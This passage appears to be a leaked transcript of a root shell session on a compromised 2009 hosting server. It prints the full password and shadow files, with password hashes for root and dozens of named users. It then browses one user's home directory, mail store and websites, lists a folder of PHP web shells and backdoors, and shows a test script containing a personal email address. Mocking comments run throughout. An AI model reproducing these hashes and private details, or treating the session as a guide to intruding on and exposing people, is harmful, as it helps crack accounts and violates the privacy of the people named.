Daemon:/:/sbin/nologin 13793 vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin 13794 rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin 13795 sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 13796 pcap:x:77:77::/var/arpwatch:/sbin/nologin 13797 mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin 13798 smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin 13799 rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin 13800 nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin 13801 13802 rpm:x:37:37::/var/lib/rpm:/sbin/nologin 13803 haldaemon:x:68:68:HAL daemon:/:/sbin/nologin 13804 named:x:25:25:Named:/var/named:/sbin/nologin 13805 apache:x:100:500::/var/www:/bin/false 13806 diradmin:x:101:101::/usr/local/directadmin:/bin/bash 13807 mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash 13808 webapps:x:500:501::/var/www/html:/bin/bash 13809 majordomo:x:103:2::/etc/virtual/majordomo:/bin/bash 13810 dovecot:x:104:104::/home/dovecot:/bin/bash 13811 admin:x:501:502::/home/admin:/bin/bash 13812 hrdev:x:502:503::/home/hrdev:/bin/false 13813 keytraderz:x:504:505::/home/keytraderz:/bin/false 13814 yourkicks:x:507:508::/home/yourkicks:/bin/false 13815 aaa:x:508:509::/home/aaa:/bin/false 13816 beyond:x:509:510::/home/beyond:/bin/false 13817 hotglow:x:510:511::/home/hotglow:/bin/false 13818 wheelglow:x:512:513::/home/wheelglow:/bin/false 13819 penguin:x:513:514::/home/penguin:/bin/false 13820 ntp:x:38:38::/etc/ntp:/sbin/nologin 13821 furiogamin:x:516:517::/home/furiogamin:/bin/false 13822 kaza:x:517:518::/home/kaza:/bin/false 13823 pimpinjg:x:518:519::/home/pimpinjg:/bin/false 13824 dakilla:x:521:522::/home/dakilla:/bin/false 13825 bootroot:x:522:523::/home/bootroot:/bin/false 13826 scraft758:x:525:526::/home/scraft758:/bin/false 13827 hstrike:x:526:527::/home/hstrike:/bin/false 13828 romeo:x:528:529::/home/romeo:/bin/false 13829 xckx:x:529:530::/home/xckx:/bin/false 13830 h3mod:x:530:531::/home/h3mod:/bin/false 13831 clamav:x:533:534:Clam AntiVirus:/home/clamav:/bin/false 13832 avahi:x:70:70:Avahi daemon:/:/sbin/nologin 13833 avahi-autoipd:x:105:105:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin 13834 hbxmike:x:535:536::/home/hbxmike:/bin/false 13835 wtfsmilez:x:536:537::/home/wtfsmilez:/bin/false 13836 haiobr:x:537:538::/home/haiobr:/bin/false 13837 odin:x:538:539::/home/odin:/bin/false 13838 sam:x:539:540::/home/sam:/bin/false 13839 mrgod:x:540:541::/home/mrgod:/bin/false 13840 pagewiz:x:541:542::/home/pagewiz:/bin/false 13841 zer0:x:542:543::/home/zer0:/bin/false 13842 dablitz:x:543:544::/home/dablitz:/bin/false 13843 ristop:x:544:545::/home/ristop:/bin/false 13844 bloo:x:545:546::/home/bloo:/bin/false 13845 root:$1$tilqrnIQ$fm2riVHK6dHchHIblFr/f1:14380:0:99999:7::: 13846 bin:*:14253:0:99999:7::: 13847 daemon:*:14253:0:99999:7::: 13848 shutdown:*:14253:0:99999:7::: 13849 halt:*:14253:0:99999:7::: 13850 mail:*:14253:0:99999:7::: 13851 ftp:*:14253:0:99999:7::: 13852 nobody:*:14253:0:99999:7::: 13853 dbus:!!:14253:0:99999:7::: 13854 nscd:!!:14253:0:99999:7::: 13855 vcsa:!!:14253:0:99999:7::: 13856 rpc:!!:14253:0:99999:7::: 13857 sshd:!!:14253:0:99999:7::: 13858 pcap:!!:14253:0:99999:7::: 13859 mailnull:!!:14253:0:99999:7::: 13860 smmsp:!!:14253:0:99999:7::: 13861 rpcuser:!!:14253:0:99999:7::: 13862 nfsnobody:!!:14253:0:99999:7::: 13863 rpm:!!:14253:0:99999:7::: 13864 haldaemon:!!:14253:0:99999:7::: 13865 named:!!:14257:::::: 13866 apache:!!:14257:::::: 13867 diradmin:!!:14256:::::: 13868 mysql:!!:14256:::::: 13869 webapps:!!:14256:0:99999:7::: 13870 majordomo:!!:14256:::::: 13871 dovecot:!!:14256:::::: 13872 admin:$1$hOf0pEJ7$Csc3Cf1boad5jK8A4.gCe1:14379:0:99999:7::: 13873 hrdev:$1$h66VePH.$Q18XKJHV0qQekrkx8DNPa.:14269:0:99999:7::: 13874 keytraderz:$1$apmWxy/L$YuzBwBVn6o87A7gAqMUfj0:14369:0:99999:7::: 13875 yourkicks:$1$IeMgb1QU$qNEVNIQDzjgW5Wt.V5cNs.:14269:0:99999:7::: 13876 aaa:$1$Pvq5Ze1q$Nn1bNt8aTVT7VaBCZFuMr1:14269:0:99999:7::: 13877 beyond:$1$gYlYPXOA$qMQTQ0gTMkqkeI3exuI5F0:14269:0:99999:7::: 13878 hotglow:$1$UL8Osrrl$pKpDOHKiBcj2a5NBN1n1M1:14269:0:99999:7::: 13879 wheelglow:$1$7CfmCRZb$TXXEzsFamBKkk7L10qKEn1:14269:0:99999:7::: 13880 penguin:!$1$NKcb5Ati$z.YERAUu8ADbbo8XId6.e.:14269:0:99999:7::: 13881 ntp:!!:14273:::::: 13882 furiogamin:$1$ehClK7ld$2OchIgSTZ1wnYgJnWJe1L/:14278:0:99999:7::: 13883 kaza:$1$QU9IN8sS$cypmbg45B0V0k/a6knhzD0:14278:0:99999:7::: 13884 pimpinjg:$1$D0PGDf.U$6IyagtS0AYLnTXI4DiPmh1:14291:0:99999:7::: 13885 dakilla:$1$Foh0gQdF$NDc4LO/3Otwxt.WXNGb8u1:14383:0:99999:7::: 13886 bootroot:$1$YG4ZItt0$JYuixhSHo9KcJbdm4rumt.:14364:0:99999:7::: 13887 scraft758:$1$BD72wrXX$3SarFSWt249OF71EugOvp1:14292:0:99999:7::: 13888 hstrike:$1$roWSxdvs$X6QfaV/NhsXwqBCTFksL/0:14292:0:99999:7::: 13889 romeo:$1$qx2sTgHs$VHb4bpwE.lRwBFDmjtwPx.:14353:0:99999:7::: 13890 xckx:$1$NsnILOqK$3mGncK6wPMYMsb9vnkOyt/:14293:0:99999:7::: 13891 h3mod:$1$XQo0rcc3$lmySsVMTrIC0ePWPXfOR2/:14293:0:99999:7::: 13892 clamav:!!:14336:0:99999:7::: 13893 avahi:!!:14336:::::: 13894 avahi-autoipd:!!:14336:::::: 13895 hbxmike:$1$PriF/4Bk$1.j6gBej9aPfrN4BJeDU11:14376:0:99999:7::: 13896 wtfsmilez:$1$NJsG5rdb$X.EqYJhBhWhuAjteubXEK/:14365:0:99999:7::: 13897 haiobr:$1$8WRmEqZ.$.shT4ddM9WHSteJ197DjE1:14385:0:99999:7::: 13898 odin:$1$z5xA/a5f$x4VoN/NQhQshmAei3bZj4.:14379:0:99999:7::: 13899 sam:$1$hQ9R7M26$pDBdZDh01EtAV1DxELrnc1:14376:0:99999:7::: 13900 mrgod:$1$WmNO8283$hpvrrWLnd5Pp/RlcwYvnm/:14377:0:99999:7::: 13901 pagewiz:$1$LgyU4TyH$kpQ.QEZ3mVv.nZQKvzrui0:14383:0:99999:7::: 13902 zer0:$1$KMAddC48$OTyb50QllFSKp4AR4AcsC0:14385:0:99999:7::: 13903 dablitz:$1$xUPbImWk$hDT9R4UAwbsQVyGxpZ.pu/:14386:0:99999:7::: 13904 ristop:$1$9SfY3MtY$n8cHnCN6tY2WvhitNOykh.:14386:0:99999:7::: 13905 bloo:$1$TtV5Q9IB$gi9SWdREB1ikky.Cgmiuu/:14387:0:99999:7::: 13906 root@server2:~[root@server2 ~]# grep romeo /etc/shadow 13907 romeo:$1$qx2sTgHs$VHb4bpwE.lRwBFDmjtwPx.:14353:0:99999:7::: 13908 root@server2:~[root@server2 ~]# w 13909 04:05:41 up 18:48, 1 user, load average: 0.34, 0.34, 0.23 13910 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 13911 root pts/0 cpe-76-1x5-xx-xx 03:39 26:24 0.00s 0.00s -bash 13912 root@server2:~[root@server2 ~]# ls -al 13913 total 30488 13914 drwxr-x--- 11 root root 4096 May 23 02:47 . 13915 drwx--x--x 25 root root 4096 May 22 09:26 .. 13916 -rw------- 1 root root 1132 Mar 11 01:44 anaconda-ks.cfg 13917 -rw-r--r-- 1 root root 0 May 20 17:26 authorized_keys2 13918 -rwxr-xr-x 1 root root 10 May 23 03:02 .bash_history 13919 -rw-r--r-- 1 root root 24 Jan 6 2007 .bash_logout 13920 -rw-r--r-- 1 root root 191 Jan 6 2007 .bash_profile 13921 -rw-r--r-- 1 root root 176 Jan 6 2007 .bashrc 13922 drwxrwxrwx 24 1000 1000 4096 Apr 28 14:55 clamav-0.95.1 13923 -rw-r--r-- 1 root root 24260964 Apr 8 08:24 clamav-0.95.1.tar.gz 13924 -rw-r--r-- 1 root root 171053 May 22 13:49 cleaned_shells_php.txt 13925 drwxr-xr-x 4 root root 4096 Mar 18 00:50 .cpan 13926 -rw-r--r-- 1 root root 100 Jan 6 2007 .cshrc 13927 -rw-r--r-- 1 root root 4 Jan 12 16:21 .custombuild 13928 -rwxr-xr-x 1 root root 21171 Jan 13 14:13 da.cpanel.import.pl 13929 -rw-r--r-- 1 root root 288 Mar 31 05:21 defaults.conf 13930 drwxr-xr-x 2 root root 4096 Mar 23 19:03 export 13931 -rw-r--r-- 1 root root 1155 May 15 22:15 f.c 13932 drwxr-xr-x 3 root root 4096 May 12 20:35 forum 13933 -rw-r--r-- 1 root root 265 May 14 15:19 ifconfig 13934 drwxr-xr-x 2 root root 4096 Mar 23 19:03 import 13935 -rw------- 1 root root 12288 Mar 27 04:26 .import.swp 13936 -rw-r--r-- 1 root root 1724 Apr 1 18:53 initsec 13937 -rw------- 1 root root 97 May 23 04:02 .lesshst 13938 -rw-r--r-- 1 root root 27 May 23 02:35 load 13939 -rw------- 1 root root 42 Feb 5 17:18 .my.cnf 13940 -rw------- 1 root root 37 May 2 15:19 .mysql_history 13941 -rw-r--r-- 1 root root 9 Mar 31 05:21 .mytop 13942 drwxr-xr-x 16 webapps apache 4096 Apr 28 16:11 nmap-4.85BETA8 13943 -rw-r--r-- 1 root root 6484436 Apr 21 14:38 nmap-4.85BETA8.tar.bz2 13944 drwxr-xr-x 3 root root 4096 May 20 14:31 qurantine 13945 -rw------- 1 root root 1024 Apr 2 18:01 .rnd 13946 -rwxr-xr-x 1 root root 2024 Apr 28 14:44 scan.pl 13947 drwx------ 2 root root 4096 May 20 15:00 .ssh 13948 -rw-r--r-- 1 root root 129 Jan 6 2007 .tcshrc 13949 -rw------- 1 root root 12288 May 23 03:02 .test.swp 13950 drwxr-xr-x 2 root root 4096 May 14 14:00 tmp 13951 -rwxr-xr-x 1 root root 47429 May 16 2008 tuning-primer.sh 13952 root@server2:~[root@server2 ~]# cat .bash_history 13953 exit 13954 exit 13955 root@server2:~[root@server2 ~]# #omg nmap, SECURE HOSTING 13956 root@server2:~[root@server2 ~]# date 13957 Sat May 23 04:06:57 PDT 2009 13958 root@server2:~[root@server2 ~]# cd /home/romeo/ 13959 root@server2:/home/romeo[root@server2 romeo]# ls -al 13960 total 44 13961 drwx--x--x 6 romeo romeo 4096 Apr 22 15:51 . 13962 drwx--x--x 36 root root 4096 May 23 02:33 .. 13963 drwx------ 2 romeo romeo 4096 Feb 17 16:07 backups 13964 -rw-r--r-- 1 romeo romeo 33 Dec 22 09:57 .bash_logout 13965 -rw-r--r-- 1 romeo romeo 176 Dec 22 09:57 .bash_profile 13966 -rw-r--r-- 1 romeo romeo 124 Dec 22 09:57 .bashrc 13967 -rw------- 1 romeo romeo 0 Feb 8 08:45 .clipboard.txt 13968 drwx--x--x 4 romeo romeo 4096 Dec 23 14:31 domains 13969 drwxrwx--- 4 romeo mail 4096 Feb 17 16:07 imap 13970 drwxrwx--- 5 romeo mail 4096 Dec 23 08:29 Maildir 13971 lrwxrwxrwx 1 romeo romeo 35 Feb 17 16:07 public_html -> 13972 ./domains/darkmindz.com/public_html 13973 -rw-r----- 1 romeo mail 34 Apr 19 16:26 .shadow 13974 root@server2:/home/romeo[root@server2 romeo]# du -ch Maildir/ 13975 4.0K Maildir/tmp 13976 68M Maildir/new 13977 4.0K Maildir/cur 13978 68M Maildir/ 13979 68M total 13980 root@server2:/home/romeo[root@server2 romeo]# #nice, thanks 13981 root@server2:/home/romeo[root@server2 romeo]# cd domains 13982 root@server2:/home/romeo/domains[root@server2 domains]# ls -la 13983 total 16 13984 drwx--x--x 4 romeo romeo 4096 Dec 23 14:31 . 13985 drwx--x--x 6 romeo romeo 4096 Apr 22 15:51 .. 13986 drwx--x--x 7 romeo romeo 4096 Feb 10 19:26 cybershade.org 13987 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 darkmindz.com 13988 root@server2:/home/romeo/domains[root@server2 domains]# cd darkmindz.com 13989 root@server2:/home/romeo/domains/darkmindz.com[root@server2 darkmindz.com]# ls 13990 -la 13991 total 40 13992 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 . 13993 drwx--x--x 4 romeo romeo 4096 Dec 23 14:31 .. 13994 drwxr-xr-x 2 romeo romeo 4096 Dec 22 09:57 .htpasswd 13995 drwxr-xr-x 2 root root 4096 May 23 00:10 logs 13996 drwx--x--x 3 romeo romeo 4096 Dec 22 09:57 public_ftp 13997 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 public_html 13998 drwxr-xr-x 2 root root 4096 May 1 00:10 stats 13999 -rw-r--r-- 1 romeo romeo 12151 Feb 9 09:01 view_topic.php 14000 root@server2:/home/romeo/domains/darkmindz.com[root@server2 darkmindz.com]# cd 14001 public_html/ 14002 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14003 public_html]# ls -al 14004 total 47264 14005 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 . 14006 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 .. 14007 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 400.shtml 14008 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 401.shtml 14009 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 403.shtml 14010 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 404.shtml 14011 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 500.shtml 14012 -rw-r--r-- 1 romeo romeo 5254 Feb 14 06:12 acp.php 14013 -rw-r--r-- 1 romeo romeo 9757 Feb 14 06:12 ajax.php 14014 -rw-r--r-- 1 romeo romeo 2118 Feb 14 06:12 articles.php 14015 drwxr-xr-x 2 romeo romeo 4096 Mar 4 11:11 _beta 14016 drwxrwxrwx 5 romeo romeo 4096 Mar 26 15:55 cache 14017 drwxr-xr-x 2 romeo romeo 4096 Dec 22 09:57 cgi-bin 14018 -rw-r--r-- 1 romeo romeo 5561 Feb 14 06:12 challenges.php 14019 -rw-r--r-- 1 romeo romeo 2137 Feb 2 08:43 codebase.php 14020 -rw-r--r-- 1 romeo romeo 17251 Jan 13 07:21 convertor.php 14021 drwxr-xr-x 6 romeo romeo 4096 Feb 7 13:38 core 14022 -rw-r--r-- 1 romeo romeo 0 Jan 13 07:21 debug 14023 -rw-r--r-- 1 romeo romeo 3266 Dec 22 22:59 eg.gif 14024 -rw-r--r-- 1 romeo romeo 5036 Feb 27 17:58 forgotpass.php 14025 -rw-r--r-- 1 romeo romeo 7107 Mar 1 11:30 forum.php 14026 -rw-r--r-- 1 romeo romeo 2177 Jan 13 07:21 get_shouts.php 14027 -rw-r--r-- 1 romeo romeo 1416102 Feb 17 14:24 halo.zip 14028 -rw-r--r-- 1 romeo romeo 4546 Feb 19 14:07 .htaccess 14029 -rw-r--r-- 1 romeo romeo 36 Jan 13 06:52 .htpasswd 14030 drwxr-xr-x 4 romeo romeo 4096 Feb 8 20:35 images 14031 drwxr-xr-x 2 romeo romeo 4096 Dec 22 22:20 img 14032 -rw-r--r-- 1 romeo romeo 3998 Apr 19 16:40 index.php 14033 -rw-r--r-- 1 romeo romeo 843 Feb 28 15:13 irc.php 14034 drwxr-xr-x 3 romeo romeo 4096 Feb 7 13:38 language 14035 -rw-r--r-- 1 romeo romeo 4103 Feb 19 14:05 latest_posts.php 14036 -rwxrwxrwx 1 romeo romeo 7184 Feb 14 06:12 loader.php 14037 -rw-r--r-- 1 romeo romeo 8398 Feb 14 06:12 login.php 14038 -rwxr-xr-x 1 romeo romeo 13954 Sep 15 2006 logo.jpg 14039 -rw-r--r-- 1 romeo romeo 3006 Feb 1 21:44 merge.php 14040 drwxr-xr-x 20 romeo romeo 4096 Feb 12 13:44 modules 14041 -rw-r--r-- 1 romeo romeo 10964 Feb 14 12:40 pastebin.php 14042 -rw-r--r-- 1 romeo romeo 31019 Feb 14 06:12 post.bak.php 14043 -rw-r--r-- 1 romeo romeo 35322 Feb 21 08:56 post.php 14044 -rw-r--r-- 1 romeo romeo 2142 Feb 14 06:12 privatemessages.php 14045 -rw-r--r-- 1 romeo romeo 9747 Feb 22 13:10 register.php 14046 -rw-r--r-- 1 romeo romeo 7919 Mar 16 20:00 rss.php 14047 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 scripts 14048 -rw-r--r-- 1 romeo romeo 1065 Feb 14 06:12 search.php 14049 -rw-r--r-- 1 romeo romeo 1838 Feb 14 06:12 settings.php 14050 drwxr-xr-x 2 root root 4096 May 20 14:30 shell 14051 -rw-r--r-- 1 romeo romeo 46487316 May 23 04:07 stress_test.txt 14052 -rw-r--r-- 1 romeo romeo 994 Jan 13 07:22 swiigle_upload.php 14053 drwxr-xr-x 5 romeo romeo 4096 Feb 7 13:38 template 14054 -rw-r--r-- 1 romeo romeo 454 Jan 13 07:22 template.php 14055 drwxr-xr-x 2 romeo romeo 4096 Feb 16 21:05 templates 14056 -rw-r--r-- 1 romeo romeo 610 Feb 18 08:17 test.php 14057 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 txt docs 14058 -rw-r--r-- 1 romeo romeo 2708 Feb 14 06:12 ucp.php 14059 -rw-r--r-- 1 romeo romeo 7789 Feb 14 06:12 view_group.bak.php 14060 -rw-r--r-- 1 romeo romeo 8556 Mar 1 11:30 view_group.php 14061 -rw-r--r-- 1 romeo romeo 876 Feb 14 06:12 view_profile.php 14062 -rw-r--r-- 1 romeo romeo 12677 Feb 14 13:16 view_topic.bak.php 14063 -rw-r--r-- 1 romeo romeo 12871 Mar 1 11:30 view_topic.php 14064 -rw-r--r-- 1 romeo romeo 9571 Feb 14 06:12 windowed_options.php 14065 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14066 public_html]# ls -la scripts/ 14067 total 476 14068 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 . 14069 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 .. 14070 -rw-r--r-- 1 romeo romeo 4770 Jan 13 12:11 builder.js 14071 -rw-r--r-- 1 romeo romeo 588 Jan 13 12:11 cli.js 14072 -rw-r--r-- 1 romeo romeo 35851 Jan 13 12:12 controls.js 14073 -rw-r--r-- 1 romeo romeo 35253 Jan 13 12:11 dragdrop.js 14074 -rw-r--r-- 1 romeo romeo 38986 Jan 13 12:12 effects.js 14075 -rw-r--r-- 1 romeo romeo 8663 Feb 14 12:40 functions.js 14076 -rw-r--r-- 1 romeo romeo 6897 Jan 13 12:11 growl.js 14077 -rw-r--r-- 1 romeo romeo 63854 Jan 13 12:11 lightwindow.js 14078 -rw-r--r-- 1 romeo romeo 52665 Jan 13 12:12 php.min.js 14079 -rw-r--r-- 1 romeo romeo 1457 Jan 13 12:11 pm.js 14080 -rw-r--r-- 1 romeo romeo 1637 Jan 13 12:11 pngfix.js 14081 -rw-r--r-- 1 romeo romeo 3261 Jan 13 12:11 proto.menu.js 14082 -rw-r--r-- 1 romeo romeo 130380 Jan 13 12:12 prototype.js 14083 -rw-r--r-- 1 romeo romeo 2733 Jan 13 12:11 register.js 14084 -rw-r--r-- 1 romeo romeo 2711 Jan 13 12:11 scriptaculous.js 14085 -rw-r--r-- 1 romeo romeo 121 Jan 13 12:11 shoutbox.js 14086 -rw-r--r-- 1 romeo romeo 10296 Jan 13 12:12 slider.js 14087 -rw-r--r-- 1 romeo romeo 1920 Jan 13 12:12 sound.js 14088 -rw-r--r-- 1 romeo romeo 20197 Jan 13 12:12 unittest.js 14089 -rw-r--r-- 1 romeo romeo 6145 Feb 14 12:40 user.php 14090 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14091 public_html]# ls -la shell/ 14092 total 1564 14093 drwxr-xr-x 2 root root 4096 May 20 14:30 . 14094 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 .. 14095 -rw-r--r-- 1 romeo romeo 1297 Feb 16 21:05 ajan.txt 14096 -rw-r--r-- 1 romeo romeo 44210 Feb 16 21:06 b64.txt 14097 -rw-r--r-- 1 romeo romeo 140 Feb 16 21:06 backdoor.txt 14098 -rw-r--r-- 1 romeo romeo 11141 Feb 16 21:06 c101.txt 14099 -rw-r--r-- 1 romeo romeo 1468 Feb 16 21:06 cmd.txt 14100 -rw-r--r-- 1 romeo romeo 18519 Feb 16 21:06 codeanalyzer.txt 14101 -rw-r--r-- 1 romeo romeo 114861 Feb 16 21:06 constance.txt 14102 -rw-r--r-- 1 romeo romeo 40682 Feb 16 21:06 CrystalShell v.1.txt 14103 -rw-r--r-- 1 romeo romeo 83029 Feb 16 21:06 CyberSpy5.txt 14104 -rw-r--r-- 1 romeo romeo 43394 Feb 16 21:06 dC3 Security Crew Shell PRiV.txt 14105 -rw-r--r-- 1 romeo romeo 111446 Feb 16 21:06 DxShell.1.0.txt 14106 -rw-r--r-- 1 romeo romeo 39433 Feb 16 21:06 eko.txt 14107 -rw-r--r-- 1 romeo romeo 38479 Feb 16 21:06 ELMALISEKER Backd00r.txt 14108 -rw-r--r-- 1 romeo romeo 24829 Feb 16 21:06 GFS web-shell ver 3.1.7 - 14109 PRiV8.txt 14110 -rw-r--r-- 1 romeo romeo 2089 Feb 16 21:06 imageshell.JPG 14111 -rw-r--r-- 1 romeo romeo 1768 Feb 16 21:06 index.php 14112 -rw-r--r-- 1 romeo romeo 17440 Feb 16 21:06 kscript.txt 14113 -rw-r--r-- 1 romeo romeo 2342 Feb 16 21:06 l0ger.txt 14114 -rw-r--r-- 1 romeo romeo 1683 Feb 16 21:06 LocalLinuxExploitFinder.txt 14115 -rw-r--r-- 1 romeo romeo 33796 Feb 16 21:06 Mysql interface v1.0.txt 14116 -rw-r--r-- 1 romeo romeo 34398 Feb 16 21:06 mysql.txt 14117 -rw-r--r-- 1 romeo romeo 38856 Feb 16 21:06 ntdaddy.txt 14118 -rw-r--r-- 1 romeo romeo 124953 Feb 16 21:06 r57.txt 14119 -rw-r--r-- 1 romeo romeo 103794 Feb 16 21:06 SnIpEr_SA Shell.txt 14120 -rw-r--r-- 1 romeo romeo 7002 Feb 16 21:06 steg.txt 14121 -rw-r--r-- 1 romeo romeo 139788 Feb 16 21:06 tdshell.txt 14122 -rw-r--r-- 1 romeo romeo 70402 Feb 16 21:06 webadmin.txt 14123 -rw-r--r-- 1 romeo romeo 5057 Feb 16 21:06 WinX Shell.txt 14124 -rw-r--r-- 1 romeo romeo 2455 Feb 16 21:06 Worse Linux Shell.txt 14125 -rw-r--r-- 1 romeo romeo 304936 Feb 16 21:06 x2300_mod.txt 14126 -rw-r--r-- 1 romeo romeo 10418 Feb 16 21:06 XSSscan.py.txt 14127 -rw-r--r-- 1 romeo romeo 10269 Feb 16 21:06 xx.txt 14128 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14129 public_html]# #ELEET 14130 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14131 public_html]# ls -al 14132 total 47264 14133 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 . 14134 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 .. 14135 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 400.shtml 14136 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 401.shtml 14137 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 403.shtml 14138 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 404.shtml 14139 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 500.shtml 14140 -rw-r--r-- 1 romeo romeo 5254 Feb 14 06:12 acp.php 14141 -rw-r--r-- 1 romeo romeo 9757 Feb 14 06:12 ajax.php 14142 -rw-r--r-- 1 romeo romeo 2118 Feb 14 06:12 articles.php 14143 drwxr-xr-x 2 romeo romeo 4096 Mar 4 11:11 _beta 14144 drwxrwxrwx 5 romeo romeo 4096 Mar 26 15:55 cache 14145 drwxr-xr-x 2 romeo romeo 4096 Dec 22 09:57 cgi-bin 14146 -rw-r--r-- 1 romeo romeo 5561 Feb 14 06:12 challenges.php 14147 -rw-r--r-- 1 romeo romeo 2137 Feb 2 08:43 codebase.php 14148 -rw-r--r-- 1 romeo romeo 17251 Jan 13 07:21 convertor.php 14149 drwxr-xr-x 6 romeo romeo 4096 Feb 7 13:38 core 14150 -rw-r--r-- 1 romeo romeo 0 Jan 13 07:21 debug 14151 -rw-r--r-- 1 romeo romeo 3266 Dec 22 22:59 eg.gif 14152 -rw-r--r-- 1 romeo romeo 5036 Feb 27 17:58 forgotpass.php 14153 -rw-r--r-- 1 romeo romeo 7107 Mar 1 11:30 forum.php 14154 -rw-r--r-- 1 romeo romeo 2177 Jan 13 07:21 get_shouts.php 14155 -rw-r--r-- 1 romeo romeo 1416102 Feb 17 14:24 halo.zip 14156 -rw-r--r-- 1 romeo romeo 4546 Feb 19 14:07 .htaccess 14157 -rw-r--r-- 1 romeo romeo 36 Jan 13 06:52 .htpasswd 14158 drwxr-xr-x 4 romeo romeo 4096 Feb 8 20:35 images 14159 drwxr-xr-x 2 romeo romeo 4096 Dec 22 22:20 img 14160 -rw-r--r-- 1 romeo romeo 3998 Apr 19 16:40 index.php 14161 -rw-r--r-- 1 romeo romeo 843 Feb 28 15:13 irc.php 14162 drwxr-xr-x 3 romeo romeo 4096 Feb 7 13:38 language 14163 -rw-r--r-- 1 romeo romeo 4103 Feb 19 14:05 latest_posts.php 14164 -rwxrwxrwx 1 romeo romeo 7184 Feb 14 06:12 loader.php 14165 -rw-r--r-- 1 romeo romeo 8398 Feb 14 06:12 login.php 14166 -rwxr-xr-x 1 romeo romeo 13954 Sep 15 2006 logo.jpg 14167 -rw-r--r-- 1 romeo romeo 3006 Feb 1 21:44 merge.php 14168 drwxr-xr-x 20 romeo romeo 4096 Feb 12 13:44 modules 14169 -rw-r--r-- 1 romeo romeo 10964 Feb 14 12:40 pastebin.php 14170 -rw-r--r-- 1 romeo romeo 31019 Feb 14 06:12 post.bak.php 14171 -rw-r--r-- 1 romeo romeo 35322 Feb 21 08:56 post.php 14172 -rw-r--r-- 1 romeo romeo 2142 Feb 14 06:12 privatemessages.php 14173 -rw-r--r-- 1 romeo romeo 9747 Feb 22 13:10 register.php 14174 -rw-r--r-- 1 romeo romeo 7919 Mar 16 20:00 rss.php 14175 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 scripts 14176 -rw-r--r-- 1 romeo romeo 1065 Feb 14 06:12 search.php 14177 -rw-r--r-- 1 romeo romeo 1838 Feb 14 06:12 settings.php 14178 drwxr-xr-x 2 root root 4096 May 20 14:30 shell 14179 -rw-r--r-- 1 romeo romeo 46488303 May 23 04:08 stress_test.txt 14180 -rw-r--r-- 1 romeo romeo 994 Jan 13 07:22 swiigle_upload.php 14181 drwxr-xr-x 5 romeo romeo 4096 Feb 7 13:38 template 14182 -rw-r--r-- 1 romeo romeo 454 Jan 13 07:22 template.php 14183 drwxr-xr-x 2 romeo romeo 4096 Feb 16 21:05 templates 14184 -rw-r--r-- 1 romeo romeo 610 Feb 18 08:17 test.php 14185 drwxr-xr-x 2 romeo romeo 4096 Feb 7 13:38 txt docs 14186 -rw-r--r-- 1 romeo romeo 2708 Feb 14 06:12 ucp.php 14187 -rw-r--r-- 1 romeo romeo 7789 Feb 14 06:12 view_group.bak.php 14188 -rw-r--r-- 1 romeo romeo 8556 Mar 1 11:30 view_group.php 14189 -rw-r--r-- 1 romeo romeo 876 Feb 14 06:12 view_profile.php 14190 -rw-r--r-- 1 romeo romeo 12677 Feb 14 13:16 view_topic.bak.php 14191 -rw-r--r-- 1 romeo romeo 12871 Mar 1 11:30 view_topic.php 14192 -rw-r--r-- 1 romeo romeo 9571 Feb 14 06:12 windowed_options.php 14193 root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14194 public_html]# cat test.php 14195 <?php 14196 /*======================================================================*\ 14197 | Cybershade CMS - Your CMS, Your Way | 14198 \*======================================================================*/ 14199 define('INDEX_CHECK', 1); 14200 define('CMS_DEBUG', 0); 14201 define('CMS_MENU', 'forum'); 14202 $cms_root = ''; 14203 $page_name = ''; 14204 include "core/core.php"; 14205 14206 $breadcrumb = array( 14207 ); 14208 14209 include "core/page_header.php"; 14210 14211 mail("crawleruk@gmail.com", 'test', "mail() sent msg"); 14212 mailer("crawleruk@gmail.com", 'noreply@darkmindz.com', 'test', 'mailer() sent 14213 msg'); 14214 14215 include "core/page_footer.php"; 14216 ?>root@server2:/home/romeo/domains/darkmindz.com/public_html[root@server2 14217 public_html]# ls -la 14218 total 47264 14219 drwxr-xr-x 15 romeo romeo 4096 May 20 14:30 . 14220 drwx--x--x 7 romeo romeo 4096 Apr 22 15:53 .. 14221 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 400.shtml 14222 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 401.shtml 14223 -rwxr-xr-x 1 romeo romeo 515 May 7 2007 403.shtml 14224 